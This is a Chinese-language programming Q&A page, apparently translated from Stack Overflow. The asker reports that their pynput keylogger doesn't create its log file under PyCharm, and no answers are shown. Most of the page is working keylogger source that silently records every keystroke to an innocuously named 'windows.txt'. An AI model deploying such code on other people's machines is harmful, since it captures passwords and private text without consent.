无法创建文本文件Pynput

时间:2019-07-20 13:10:32

标签: python pycharm pynput

我正在制作一个按键记录器,该按键记录器将每个按键记录都记录在名为windows.txt的文件中。我正在使用pycharm IDE,但未创建.txt文件。当我在Jupyter Notebook上运行该代码时,它运行良好。

我也尝试在VSCode上运行它,但是它也没有在VSCode上运行。

# Import
from pynput import keyboard

# Decorate    
class text_decorator():

    def __init__(self, on_release):
        self.on_release = on_release

    def __call__(self, *args, **kwargs):
        self.on_release(*args, **kwargs)

    ####---------Replace Text---------####

    #read file and save it to a variable
        with open('windows.txt', 'r') as f:
            file_data = f.read()

        #replace the text
        file_data = file_data.replace('Key.space', ' ')
        file_data = file_data.replace('Key.enter', '\n')
        file_data = file_data.replace('Key.tab', '\t')
        file_data = file_data.replace("'", "")

        #write it again
        with open('windows.txt', 'w') as f:
            f.write(file_data)

@text_decorator
def on_release(key):
    f = open('windows.txt', 'a+')
    f.write(str(key))
    f.close()

listener = keyboard.Listener(on_release = on_release)
listener.start()

错误: 它只是正常运行,不会显示任何错误或消息。

0 个答案:

没有答案